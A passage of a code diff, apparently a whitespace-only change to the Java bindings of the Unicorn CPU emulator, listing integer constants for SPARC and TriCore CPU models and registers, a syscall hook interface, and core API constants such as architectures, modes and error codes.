public static final int UC_CPU_SPARC32_ENDING = 13;
// SPARC64 CPU
// SPARC64 CPU
public static final int UC_CPU_SPARC64_FUJITSU = 0;
public static final int UC_CPU_SPARC64_FUJITSU_III = 1;
public static final int UC_CPU_SPARC64_FUJITSU_IV = 2;
public static final int UC_CPU_SPARC64_FUJITSU_V = 3;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15;
public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16;
public static final int UC_CPU_SPARC64_ENDING = 17;
public static final int UC_CPU_SPARC64_FUJITSU = 0;
public static final int UC_CPU_SPARC64_FUJITSU_III = 1;
public static final int UC_CPU_SPARC64_FUJITSU_IV = 2;
public static final int UC_CPU_SPARC64_FUJITSU_V = 3;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6;
public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14;
public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15;
public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16;
public static final int UC_CPU_SPARC64_ENDING = 17;
// SPARC registers
// SPARC registers
public static final int UC_SPARC_REG_INVALID = 0;
public static final int UC_SPARC_REG_F0 = 1;
public static final int UC_SPARC_REG_F1 = 2;
public static final int UC_SPARC_REG_F2 = 3;
public static final int UC_SPARC_REG_F3 = 4;
public static final int UC_SPARC_REG_F4 = 5;
public static final int UC_SPARC_REG_F5 = 6;
public static final int UC_SPARC_REG_F6 = 7;
public static final int UC_SPARC_REG_F7 = 8;
public static final int UC_SPARC_REG_F8 = 9;
public static final int UC_SPARC_REG_F9 = 10;
public static final int UC_SPARC_REG_F10 = 11;
public static final int UC_SPARC_REG_F11 = 12;
public static final int UC_SPARC_REG_F12 = 13;
public static final int UC_SPARC_REG_F13 = 14;
public static final int UC_SPARC_REG_F14 = 15;
public static final int UC_SPARC_REG_F15 = 16;
public static final int UC_SPARC_REG_F16 = 17;
public static final int UC_SPARC_REG_F17 = 18;
public static final int UC_SPARC_REG_F18 = 19;
public static final int UC_SPARC_REG_F19 = 20;
public static final int UC_SPARC_REG_F20 = 21;
public static final int UC_SPARC_REG_F21 = 22;
public static final int UC_SPARC_REG_F22 = 23;
public static final int UC_SPARC_REG_F23 = 24;
public static final int UC_SPARC_REG_F24 = 25;
public static final int UC_SPARC_REG_F25 = 26;
public static final int UC_SPARC_REG_F26 = 27;
public static final int UC_SPARC_REG_F27 = 28;
public static final int UC_SPARC_REG_F28 = 29;
public static final int UC_SPARC_REG_F29 = 30;
public static final int UC_SPARC_REG_F30 = 31;
public static final int UC_SPARC_REG_F31 = 32;
public static final int UC_SPARC_REG_F32 = 33;
public static final int UC_SPARC_REG_F34 = 34;
public static final int UC_SPARC_REG_F36 = 35;
public static final int UC_SPARC_REG_F38 = 36;
public static final int UC_SPARC_REG_F40 = 37;
public static final int UC_SPARC_REG_F42 = 38;
public static final int UC_SPARC_REG_F44 = 39;
public static final int UC_SPARC_REG_F46 = 40;
public static final int UC_SPARC_REG_F48 = 41;
public static final int UC_SPARC_REG_F50 = 42;
public static final int UC_SPARC_REG_F52 = 43;
public static final int UC_SPARC_REG_F54 = 44;
public static final int UC_SPARC_REG_F56 = 45;
public static final int UC_SPARC_REG_F58 = 46;
public static final int UC_SPARC_REG_F60 = 47;
public static final int UC_SPARC_REG_F62 = 48;
public static final int UC_SPARC_REG_FCC0 = 49;
public static final int UC_SPARC_REG_FCC1 = 50;
public static final int UC_SPARC_REG_FCC2 = 51;
public static final int UC_SPARC_REG_FCC3 = 52;
public static final int UC_SPARC_REG_G0 = 53;
public static final int UC_SPARC_REG_G1 = 54;
public static final int UC_SPARC_REG_G2 = 55;
public static final int UC_SPARC_REG_G3 = 56;
public static final int UC_SPARC_REG_G4 = 57;
public static final int UC_SPARC_REG_G5 = 58;
public static final int UC_SPARC_REG_G6 = 59;
public static final int UC_SPARC_REG_G7 = 60;
public static final int UC_SPARC_REG_I0 = 61;
public static final int UC_SPARC_REG_I1 = 62;
public static final int UC_SPARC_REG_I2 = 63;
public static final int UC_SPARC_REG_I3 = 64;
public static final int UC_SPARC_REG_I4 = 65;
public static final int UC_SPARC_REG_I5 = 66;
public static final int UC_SPARC_REG_FP = 67;
public static final int UC_SPARC_REG_I7 = 68;
public static final int UC_SPARC_REG_ICC = 69;
public static final int UC_SPARC_REG_L0 = 70;
public static final int UC_SPARC_REG_L1 = 71;
public static final int UC_SPARC_REG_L2 = 72;
public static final int UC_SPARC_REG_L3 = 73;
public static final int UC_SPARC_REG_L4 = 74;
public static final int UC_SPARC_REG_L5 = 75;
public static final int UC_SPARC_REG_L6 = 76;
public static final int UC_SPARC_REG_L7 = 77;
public static final int UC_SPARC_REG_O0 = 78;
public static final int UC_SPARC_REG_O1 = 79;
public static final int UC_SPARC_REG_O2 = 80;
public static final int UC_SPARC_REG_O3 = 81;
public static final int UC_SPARC_REG_O4 = 82;
public static final int UC_SPARC_REG_O5 = 83;
public static final int UC_SPARC_REG_SP = 84;
public static final int UC_SPARC_REG_O7 = 85;
public static final int UC_SPARC_REG_Y = 86;
public static final int UC_SPARC_REG_XCC = 87;
public static final int UC_SPARC_REG_PC = 88;
public static final int UC_SPARC_REG_ENDING = 89;
public static final int UC_SPARC_REG_O6 = 84;
public static final int UC_SPARC_REG_I6 = 67;
public static final int UC_SPARC_REG_INVALID = 0;
public static final int UC_SPARC_REG_F0 = 1;
public static final int UC_SPARC_REG_F1 = 2;
public static final int UC_SPARC_REG_F2 = 3;
public static final int UC_SPARC_REG_F3 = 4;
public static final int UC_SPARC_REG_F4 = 5;
public static final int UC_SPARC_REG_F5 = 6;
public static final int UC_SPARC_REG_F6 = 7;
public static final int UC_SPARC_REG_F7 = 8;
public static final int UC_SPARC_REG_F8 = 9;
public static final int UC_SPARC_REG_F9 = 10;
public static final int UC_SPARC_REG_F10 = 11;
public static final int UC_SPARC_REG_F11 = 12;
public static final int UC_SPARC_REG_F12 = 13;
public static final int UC_SPARC_REG_F13 = 14;
public static final int UC_SPARC_REG_F14 = 15;
public static final int UC_SPARC_REG_F15 = 16;
public static final int UC_SPARC_REG_F16 = 17;
public static final int UC_SPARC_REG_F17 = 18;
public static final int UC_SPARC_REG_F18 = 19;
public static final int UC_SPARC_REG_F19 = 20;
public static final int UC_SPARC_REG_F20 = 21;
public static final int UC_SPARC_REG_F21 = 22;
public static final int UC_SPARC_REG_F22 = 23;
public static final int UC_SPARC_REG_F23 = 24;
public static final int UC_SPARC_REG_F24 = 25;
public static final int UC_SPARC_REG_F25 = 26;
public static final int UC_SPARC_REG_F26 = 27;
public static final int UC_SPARC_REG_F27 = 28;
public static final int UC_SPARC_REG_F28 = 29;
public static final int UC_SPARC_REG_F29 = 30;
public static final int UC_SPARC_REG_F30 = 31;
public static final int UC_SPARC_REG_F31 = 32;
public static final int UC_SPARC_REG_F32 = 33;
public static final int UC_SPARC_REG_F34 = 34;
public static final int UC_SPARC_REG_F36 = 35;
public static final int UC_SPARC_REG_F38 = 36;
public static final int UC_SPARC_REG_F40 = 37;
public static final int UC_SPARC_REG_F42 = 38;
public static final int UC_SPARC_REG_F44 = 39;
public static final int UC_SPARC_REG_F46 = 40;
public static final int UC_SPARC_REG_F48 = 41;
public static final int UC_SPARC_REG_F50 = 42;
public static final int UC_SPARC_REG_F52 = 43;
public static final int UC_SPARC_REG_F54 = 44;
public static final int UC_SPARC_REG_F56 = 45;
public static final int UC_SPARC_REG_F58 = 46;
public static final int UC_SPARC_REG_F60 = 47;
public static final int UC_SPARC_REG_F62 = 48;
public static final int UC_SPARC_REG_FCC0 = 49;
public static final int UC_SPARC_REG_FCC1 = 50;
public static final int UC_SPARC_REG_FCC2 = 51;
public static final int UC_SPARC_REG_FCC3 = 52;
public static final int UC_SPARC_REG_G0 = 53;
public static final int UC_SPARC_REG_G1 = 54;
public static final int UC_SPARC_REG_G2 = 55;
public static final int UC_SPARC_REG_G3 = 56;
public static final int UC_SPARC_REG_G4 = 57;
public static final int UC_SPARC_REG_G5 = 58;
public static final int UC_SPARC_REG_G6 = 59;
public static final int UC_SPARC_REG_G7 = 60;
public static final int UC_SPARC_REG_I0 = 61;
public static final int UC_SPARC_REG_I1 = 62;
public static final int UC_SPARC_REG_I2 = 63;
public static final int UC_SPARC_REG_I3 = 64;
public static final int UC_SPARC_REG_I4 = 65;
public static final int UC_SPARC_REG_I5 = 66;
public static final int UC_SPARC_REG_FP = 67;
public static final int UC_SPARC_REG_I7 = 68;
public static final int UC_SPARC_REG_ICC = 69;
public static final int UC_SPARC_REG_L0 = 70;
public static final int UC_SPARC_REG_L1 = 71;
public static final int UC_SPARC_REG_L2 = 72;
public static final int UC_SPARC_REG_L3 = 73;
public static final int UC_SPARC_REG_L4 = 74;
public static final int UC_SPARC_REG_L5 = 75;
public static final int UC_SPARC_REG_L6 = 76;
public static final int UC_SPARC_REG_L7 = 77;
public static final int UC_SPARC_REG_O0 = 78;
public static final int UC_SPARC_REG_O1 = 79;
public static final int UC_SPARC_REG_O2 = 80;
public static final int UC_SPARC_REG_O3 = 81;
public static final int UC_SPARC_REG_O4 = 82;
public static final int UC_SPARC_REG_O5 = 83;
public static final int UC_SPARC_REG_SP = 84;
public static final int UC_SPARC_REG_O7 = 85;
public static final int UC_SPARC_REG_Y = 86;
public static final int UC_SPARC_REG_XCC = 87;
public static final int UC_SPARC_REG_PC = 88;
public static final int UC_SPARC_REG_ENDING = 89;
public static final int UC_SPARC_REG_O6 = 84;
public static final int UC_SPARC_REG_I6 = 67;
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface SyscallHook extends Hook {
public void hook(Unicorn u, Object user);
public void hook(Unicorn u, Object user);
}

View File

@@ -4,127 +4,127 @@ package unicorn;
public interface TriCoreConst {
// TRICORE CPU
// TRICORE CPU
public static final int UC_CPU_TRICORE_TC1796 = 0;
public static final int UC_CPU_TRICORE_TC1797 = 1;
public static final int UC_CPU_TRICORE_TC27X = 2;
public static final int UC_CPU_TRICORE_ENDING = 3;
public static final int UC_CPU_TRICORE_TC1796 = 0;
public static final int UC_CPU_TRICORE_TC1797 = 1;
public static final int UC_CPU_TRICORE_TC27X = 2;
public static final int UC_CPU_TRICORE_ENDING = 3;
// TRICORE registers
// TRICORE registers
public static final int UC_TRICORE_REG_INVALID = 0;
public static final int UC_TRICORE_REG_A0 = 1;
public static final int UC_TRICORE_REG_A1 = 2;
public static final int UC_TRICORE_REG_A2 = 3;
public static final int UC_TRICORE_REG_A3 = 4;
public static final int UC_TRICORE_REG_A4 = 5;
public static final int UC_TRICORE_REG_A5 = 6;
public static final int UC_TRICORE_REG_A6 = 7;
public static final int UC_TRICORE_REG_A7 = 8;
public static final int UC_TRICORE_REG_A8 = 9;
public static final int UC_TRICORE_REG_A9 = 10;
public static final int UC_TRICORE_REG_A10 = 11;
public static final int UC_TRICORE_REG_A11 = 12;
public static final int UC_TRICORE_REG_A12 = 13;
public static final int UC_TRICORE_REG_A13 = 14;
public static final int UC_TRICORE_REG_A14 = 15;
public static final int UC_TRICORE_REG_A15 = 16;
public static final int UC_TRICORE_REG_D0 = 17;
public static final int UC_TRICORE_REG_D1 = 18;
public static final int UC_TRICORE_REG_D2 = 19;
public static final int UC_TRICORE_REG_D3 = 20;
public static final int UC_TRICORE_REG_D4 = 21;
public static final int UC_TRICORE_REG_D5 = 22;
public static final int UC_TRICORE_REG_D6 = 23;
public static final int UC_TRICORE_REG_D7 = 24;
public static final int UC_TRICORE_REG_D8 = 25;
public static final int UC_TRICORE_REG_D9 = 26;
public static final int UC_TRICORE_REG_D10 = 27;
public static final int UC_TRICORE_REG_D11 = 28;
public static final int UC_TRICORE_REG_D12 = 29;
public static final int UC_TRICORE_REG_D13 = 30;
public static final int UC_TRICORE_REG_D14 = 31;
public static final int UC_TRICORE_REG_D15 = 32;
public static final int UC_TRICORE_REG_PCXI = 33;
public static final int UC_TRICORE_REG_PSW = 34;
public static final int UC_TRICORE_REG_PSW_USB_C = 35;
public static final int UC_TRICORE_REG_PSW_USB_V = 36;
public static final int UC_TRICORE_REG_PSW_USB_SV = 37;
public static final int UC_TRICORE_REG_PSW_USB_AV = 38;
public static final int UC_TRICORE_REG_PSW_USB_SAV = 39;
public static final int UC_TRICORE_REG_PC = 40;
public static final int UC_TRICORE_REG_SYSCON = 41;
public static final int UC_TRICORE_REG_CPU_ID = 42;
public static final int UC_TRICORE_REG_BIV = 43;
public static final int UC_TRICORE_REG_BTV = 44;
public static final int UC_TRICORE_REG_ISP = 45;
public static final int UC_TRICORE_REG_ICR = 46;
public static final int UC_TRICORE_REG_FCX = 47;
public static final int UC_TRICORE_REG_LCX = 48;
public static final int UC_TRICORE_REG_COMPAT = 49;
public static final int UC_TRICORE_REG_DPR0_U = 50;
public static final int UC_TRICORE_REG_DPR1_U = 51;
public static final int UC_TRICORE_REG_DPR2_U = 52;
public static final int UC_TRICORE_REG_DPR3_U = 53;
public static final int UC_TRICORE_REG_DPR0_L = 54;
public static final int UC_TRICORE_REG_DPR1_L = 55;
public static final int UC_TRICORE_REG_DPR2_L = 56;
public static final int UC_TRICORE_REG_DPR3_L = 57;
public static final int UC_TRICORE_REG_CPR0_U = 58;
public static final int UC_TRICORE_REG_CPR1_U = 59;
public static final int UC_TRICORE_REG_CPR2_U = 60;
public static final int UC_TRICORE_REG_CPR3_U = 61;
public static final int UC_TRICORE_REG_CPR0_L = 62;
public static final int UC_TRICORE_REG_CPR1_L = 63;
public static final int UC_TRICORE_REG_CPR2_L = 64;
public static final int UC_TRICORE_REG_CPR3_L = 65;
public static final int UC_TRICORE_REG_DPM0 = 66;
public static final int UC_TRICORE_REG_DPM1 = 67;
public static final int UC_TRICORE_REG_DPM2 = 68;
public static final int UC_TRICORE_REG_DPM3 = 69;
public static final int UC_TRICORE_REG_CPM0 = 70;
public static final int UC_TRICORE_REG_CPM1 = 71;
public static final int UC_TRICORE_REG_CPM2 = 72;
public static final int UC_TRICORE_REG_CPM3 = 73;
public static final int UC_TRICORE_REG_MMU_CON = 74;
public static final int UC_TRICORE_REG_MMU_ASI = 75;
public static final int UC_TRICORE_REG_MMU_TVA = 76;
public static final int UC_TRICORE_REG_MMU_TPA = 77;
public static final int UC_TRICORE_REG_MMU_TPX = 78;
public static final int UC_TRICORE_REG_MMU_TFA = 79;
public static final int UC_TRICORE_REG_BMACON = 80;
public static final int UC_TRICORE_REG_SMACON = 81;
public static final int UC_TRICORE_REG_DIEAR = 82;
public static final int UC_TRICORE_REG_DIETR = 83;
public static final int UC_TRICORE_REG_CCDIER = 84;
public static final int UC_TRICORE_REG_MIECON = 85;
public static final int UC_TRICORE_REG_PIEAR = 86;
public static final int UC_TRICORE_REG_PIETR = 87;
public static final int UC_TRICORE_REG_CCPIER = 88;
public static final int UC_TRICORE_REG_DBGSR = 89;
public static final int UC_TRICORE_REG_EXEVT = 90;
public static final int UC_TRICORE_REG_CREVT = 91;
public static final int UC_TRICORE_REG_SWEVT = 92;
public static final int UC_TRICORE_REG_TR0EVT = 93;
public static final int UC_TRICORE_REG_TR1EVT = 94;
public static final int UC_TRICORE_REG_DMS = 95;
public static final int UC_TRICORE_REG_DCX = 96;
public static final int UC_TRICORE_REG_DBGTCR = 97;
public static final int UC_TRICORE_REG_CCTRL = 98;
public static final int UC_TRICORE_REG_CCNT = 99;
public static final int UC_TRICORE_REG_ICNT = 100;
public static final int UC_TRICORE_REG_M1CNT = 101;
public static final int UC_TRICORE_REG_M2CNT = 102;
public static final int UC_TRICORE_REG_M3CNT = 103;
public static final int UC_TRICORE_REG_ENDING = 104;
public static final int UC_TRICORE_REG_GA0 = 1;
public static final int UC_TRICORE_REG_GA1 = 2;
public static final int UC_TRICORE_REG_GA8 = 9;
public static final int UC_TRICORE_REG_GA9 = 10;
public static final int UC_TRICORE_REG_SP = 11;
public static final int UC_TRICORE_REG_LR = 12;
public static final int UC_TRICORE_REG_IA = 16;
public static final int UC_TRICORE_REG_ID = 32;
public static final int UC_TRICORE_REG_INVALID = 0;
public static final int UC_TRICORE_REG_A0 = 1;
public static final int UC_TRICORE_REG_A1 = 2;
public static final int UC_TRICORE_REG_A2 = 3;
public static final int UC_TRICORE_REG_A3 = 4;
public static final int UC_TRICORE_REG_A4 = 5;
public static final int UC_TRICORE_REG_A5 = 6;
public static final int UC_TRICORE_REG_A6 = 7;
public static final int UC_TRICORE_REG_A7 = 8;
public static final int UC_TRICORE_REG_A8 = 9;
public static final int UC_TRICORE_REG_A9 = 10;
public static final int UC_TRICORE_REG_A10 = 11;
public static final int UC_TRICORE_REG_A11 = 12;
public static final int UC_TRICORE_REG_A12 = 13;
public static final int UC_TRICORE_REG_A13 = 14;
public static final int UC_TRICORE_REG_A14 = 15;
public static final int UC_TRICORE_REG_A15 = 16;
public static final int UC_TRICORE_REG_D0 = 17;
public static final int UC_TRICORE_REG_D1 = 18;
public static final int UC_TRICORE_REG_D2 = 19;
public static final int UC_TRICORE_REG_D3 = 20;
public static final int UC_TRICORE_REG_D4 = 21;
public static final int UC_TRICORE_REG_D5 = 22;
public static final int UC_TRICORE_REG_D6 = 23;
public static final int UC_TRICORE_REG_D7 = 24;
public static final int UC_TRICORE_REG_D8 = 25;
public static final int UC_TRICORE_REG_D9 = 26;
public static final int UC_TRICORE_REG_D10 = 27;
public static final int UC_TRICORE_REG_D11 = 28;
public static final int UC_TRICORE_REG_D12 = 29;
public static final int UC_TRICORE_REG_D13 = 30;
public static final int UC_TRICORE_REG_D14 = 31;
public static final int UC_TRICORE_REG_D15 = 32;
public static final int UC_TRICORE_REG_PCXI = 33;
public static final int UC_TRICORE_REG_PSW = 34;
public static final int UC_TRICORE_REG_PSW_USB_C = 35;
public static final int UC_TRICORE_REG_PSW_USB_V = 36;
public static final int UC_TRICORE_REG_PSW_USB_SV = 37;
public static final int UC_TRICORE_REG_PSW_USB_AV = 38;
public static final int UC_TRICORE_REG_PSW_USB_SAV = 39;
public static final int UC_TRICORE_REG_PC = 40;
public static final int UC_TRICORE_REG_SYSCON = 41;
public static final int UC_TRICORE_REG_CPU_ID = 42;
public static final int UC_TRICORE_REG_BIV = 43;
public static final int UC_TRICORE_REG_BTV = 44;
public static final int UC_TRICORE_REG_ISP = 45;
public static final int UC_TRICORE_REG_ICR = 46;
public static final int UC_TRICORE_REG_FCX = 47;
public static final int UC_TRICORE_REG_LCX = 48;
public static final int UC_TRICORE_REG_COMPAT = 49;
public static final int UC_TRICORE_REG_DPR0_U = 50;
public static final int UC_TRICORE_REG_DPR1_U = 51;
public static final int UC_TRICORE_REG_DPR2_U = 52;
public static final int UC_TRICORE_REG_DPR3_U = 53;
public static final int UC_TRICORE_REG_DPR0_L = 54;
public static final int UC_TRICORE_REG_DPR1_L = 55;
public static final int UC_TRICORE_REG_DPR2_L = 56;
public static final int UC_TRICORE_REG_DPR3_L = 57;
public static final int UC_TRICORE_REG_CPR0_U = 58;
public static final int UC_TRICORE_REG_CPR1_U = 59;
public static final int UC_TRICORE_REG_CPR2_U = 60;
public static final int UC_TRICORE_REG_CPR3_U = 61;
public static final int UC_TRICORE_REG_CPR0_L = 62;
public static final int UC_TRICORE_REG_CPR1_L = 63;
public static final int UC_TRICORE_REG_CPR2_L = 64;
public static final int UC_TRICORE_REG_CPR3_L = 65;
public static final int UC_TRICORE_REG_DPM0 = 66;
public static final int UC_TRICORE_REG_DPM1 = 67;
public static final int UC_TRICORE_REG_DPM2 = 68;
public static final int UC_TRICORE_REG_DPM3 = 69;
public static final int UC_TRICORE_REG_CPM0 = 70;
public static final int UC_TRICORE_REG_CPM1 = 71;
public static final int UC_TRICORE_REG_CPM2 = 72;
public static final int UC_TRICORE_REG_CPM3 = 73;
public static final int UC_TRICORE_REG_MMU_CON = 74;
public static final int UC_TRICORE_REG_MMU_ASI = 75;
public static final int UC_TRICORE_REG_MMU_TVA = 76;
public static final int UC_TRICORE_REG_MMU_TPA = 77;
public static final int UC_TRICORE_REG_MMU_TPX = 78;
public static final int UC_TRICORE_REG_MMU_TFA = 79;
public static final int UC_TRICORE_REG_BMACON = 80;
public static final int UC_TRICORE_REG_SMACON = 81;
public static final int UC_TRICORE_REG_DIEAR = 82;
public static final int UC_TRICORE_REG_DIETR = 83;
public static final int UC_TRICORE_REG_CCDIER = 84;
public static final int UC_TRICORE_REG_MIECON = 85;
public static final int UC_TRICORE_REG_PIEAR = 86;
public static final int UC_TRICORE_REG_PIETR = 87;
public static final int UC_TRICORE_REG_CCPIER = 88;
public static final int UC_TRICORE_REG_DBGSR = 89;
public static final int UC_TRICORE_REG_EXEVT = 90;
public static final int UC_TRICORE_REG_CREVT = 91;
public static final int UC_TRICORE_REG_SWEVT = 92;
public static final int UC_TRICORE_REG_TR0EVT = 93;
public static final int UC_TRICORE_REG_TR1EVT = 94;
public static final int UC_TRICORE_REG_DMS = 95;
public static final int UC_TRICORE_REG_DCX = 96;
public static final int UC_TRICORE_REG_DBGTCR = 97;
public static final int UC_TRICORE_REG_CCTRL = 98;
public static final int UC_TRICORE_REG_CCNT = 99;
public static final int UC_TRICORE_REG_ICNT = 100;
public static final int UC_TRICORE_REG_M1CNT = 101;
public static final int UC_TRICORE_REG_M2CNT = 102;
public static final int UC_TRICORE_REG_M3CNT = 103;
public static final int UC_TRICORE_REG_ENDING = 104;
public static final int UC_TRICORE_REG_GA0 = 1;
public static final int UC_TRICORE_REG_GA1 = 2;
public static final int UC_TRICORE_REG_GA8 = 9;
public static final int UC_TRICORE_REG_GA9 = 10;
public static final int UC_TRICORE_REG_SP = 11;
public static final int UC_TRICORE_REG_LR = 12;
public static final int UC_TRICORE_REG_IA = 16;
public static final int UC_TRICORE_REG_ID = 32;
}

File diff suppressed because it is too large Load Diff

View File

@@ -3,150 +3,150 @@
package unicorn;
public interface UnicornConst {
public static final int UC_API_MAJOR = 2;
public static final int UC_API_MAJOR = 2;
public static final int UC_API_MINOR = 0;
public static final int UC_API_PATCH = 2;
public static final int UC_API_EXTRA = 1;
public static final int UC_VERSION_MAJOR = 2;
public static final int UC_API_MINOR = 0;
public static final int UC_API_PATCH = 2;
public static final int UC_API_EXTRA = 1;
public static final int UC_VERSION_MAJOR = 2;
public static final int UC_VERSION_MINOR = 0;
public static final int UC_VERSION_PATCH = 2;
public static final int UC_VERSION_EXTRA = 1;
public static final int UC_SECOND_SCALE = 1000000;
public static final int UC_MILISECOND_SCALE = 1000;
public static final int UC_ARCH_ARM = 1;
public static final int UC_ARCH_ARM64 = 2;
public static final int UC_ARCH_MIPS = 3;
public static final int UC_ARCH_X86 = 4;
public static final int UC_ARCH_PPC = 5;
public static final int UC_ARCH_SPARC = 6;
public static final int UC_ARCH_M68K = 7;
public static final int UC_ARCH_RISCV = 8;
public static final int UC_ARCH_S390X = 9;
public static final int UC_ARCH_TRICORE = 10;
public static final int UC_ARCH_MAX = 11;
public static final int UC_VERSION_MINOR = 0;
public static final int UC_VERSION_PATCH = 2;
public static final int UC_VERSION_EXTRA = 1;
public static final int UC_SECOND_SCALE = 1000000;
public static final int UC_MILISECOND_SCALE = 1000;
public static final int UC_ARCH_ARM = 1;
public static final int UC_ARCH_ARM64 = 2;
public static final int UC_ARCH_MIPS = 3;
public static final int UC_ARCH_X86 = 4;
public static final int UC_ARCH_PPC = 5;
public static final int UC_ARCH_SPARC = 6;
public static final int UC_ARCH_M68K = 7;
public static final int UC_ARCH_RISCV = 8;
public static final int UC_ARCH_S390X = 9;
public static final int UC_ARCH_TRICORE = 10;
public static final int UC_ARCH_MAX = 11;
public static final int UC_MODE_LITTLE_ENDIAN = 0;
public static final int UC_MODE_BIG_ENDIAN = 1073741824;
public static final int UC_MODE_LITTLE_ENDIAN = 0;
public static final int UC_MODE_BIG_ENDIAN = 1073741824;
public static final int UC_MODE_ARM = 0;
public static final int UC_MODE_THUMB = 16;
public static final int UC_MODE_MCLASS = 32;
public static final int UC_MODE_V8 = 64;
public static final int UC_MODE_ARMBE8 = 1024;
public static final int UC_MODE_ARM926 = 128;
public static final int UC_MODE_ARM946 = 256;
public static final int UC_MODE_ARM1176 = 512;
public static final int UC_MODE_MICRO = 16;
public static final int UC_MODE_MIPS3 = 32;
public static final int UC_MODE_MIPS32R6 = 64;
public static final int UC_MODE_MIPS32 = 4;
public static final int UC_MODE_MIPS64 = 8;
public static final int UC_MODE_16 = 2;
public static final int UC_MODE_32 = 4;
public static final int UC_MODE_64 = 8;
public static final int UC_MODE_PPC32 = 4;
public static final int UC_MODE_PPC64 = 8;
public static final int UC_MODE_QPX = 16;
public static final int UC_MODE_SPARC32 = 4;
public static final int UC_MODE_SPARC64 = 8;
public static final int UC_MODE_V9 = 16;
public static final int UC_MODE_RISCV32 = 4;
public static final int UC_MODE_RISCV64 = 8;
public static final int UC_MODE_ARM = 0;
public static final int UC_MODE_THUMB = 16;
public static final int UC_MODE_MCLASS = 32;
public static final int UC_MODE_V8 = 64;
public static final int UC_MODE_ARMBE8 = 1024;
public static final int UC_MODE_ARM926 = 128;
public static final int UC_MODE_ARM946 = 256;
public static final int UC_MODE_ARM1176 = 512;
public static final int UC_MODE_MICRO = 16;
public static final int UC_MODE_MIPS3 = 32;
public static final int UC_MODE_MIPS32R6 = 64;
public static final int UC_MODE_MIPS32 = 4;
public static final int UC_MODE_MIPS64 = 8;
public static final int UC_MODE_16 = 2;
public static final int UC_MODE_32 = 4;
public static final int UC_MODE_64 = 8;
public static final int UC_MODE_PPC32 = 4;
public static final int UC_MODE_PPC64 = 8;
public static final int UC_MODE_QPX = 16;
public static final int UC_MODE_SPARC32 = 4;
public static final int UC_MODE_SPARC64 = 8;
public static final int UC_MODE_V9 = 16;
public static final int UC_MODE_RISCV32 = 4;
public static final int UC_MODE_RISCV64 = 8;
public static final int UC_ERR_OK = 0;
public static final int UC_ERR_NOMEM = 1;
public static final int UC_ERR_ARCH = 2;
public static final int UC_ERR_HANDLE = 3;
public static final int UC_ERR_MODE = 4;
public static final int UC_ERR_VERSION = 5;
public static final int UC_ERR_READ_UNMAPPED = 6;
public static final int UC_ERR_WRITE_UNMAPPED = 7;
public static final int UC_ERR_FETCH_UNMAPPED = 8;
public static final int UC_ERR_HOOK = 9;
public static final int UC_ERR_INSN_INVALID = 10;
public static final int UC_ERR_MAP = 11;
public static final int UC_ERR_WRITE_PROT = 12;
public static final int UC_ERR_READ_PROT = 13;
public static final int UC_ERR_FETCH_PROT = 14;
public static final int UC_ERR_ARG = 15;
public static final int UC_ERR_READ_UNALIGNED = 16;
public static final int UC_ERR_WRITE_UNALIGNED = 17;
public static final int UC_ERR_FETCH_UNALIGNED = 18;
public static final int UC_ERR_HOOK_EXIST = 19;
public static final int UC_ERR_RESOURCE = 20;
public static final int UC_ERR_EXCEPTION = 21;
public static final int UC_MEM_READ = 16;
public static final int UC_MEM_WRITE = 17;
public static final int UC_MEM_FETCH = 18;
public static final int UC_MEM_READ_UNMAPPED = 19;
public static final int UC_MEM_WRITE_UNMAPPED = 20;
public static final int UC_MEM_FETCH_UNMAPPED = 21;
public static final int UC_MEM_WRITE_PROT = 22;
public static final int UC_MEM_READ_PROT = 23;
public static final int UC_MEM_FETCH_PROT = 24;
public static final int UC_MEM_READ_AFTER = 25;
public static final int UC_ERR_OK = 0;
public static final int UC_ERR_NOMEM = 1;
public static final int UC_ERR_ARCH = 2;
public static final int UC_ERR_HANDLE = 3;
public static final int UC_ERR_MODE = 4;
public static final int UC_ERR_VERSION = 5;
public static final int UC_ERR_READ_UNMAPPED = 6;
public static final int UC_ERR_WRITE_UNMAPPED = 7;
public static final int UC_ERR_FETCH_UNMAPPED = 8;
public static final int UC_ERR_HOOK = 9;
public static final int UC_ERR_INSN_INVALID = 10;
public static final int UC_ERR_MAP = 11;
public static final int UC_ERR_WRITE_PROT = 12;
public static final int UC_ERR_READ_PROT = 13;
public static final int UC_ERR_FETCH_PROT = 14;
public static final int UC_ERR_ARG = 15;
public static final int UC_ERR_READ_UNALIGNED = 16;
public static final int UC_ERR_WRITE_UNALIGNED = 17;
public static final int UC_ERR_FETCH_UNALIGNED = 18;
public static final int UC_ERR_HOOK_EXIST = 19;
public static final int UC_ERR_RESOURCE = 20;
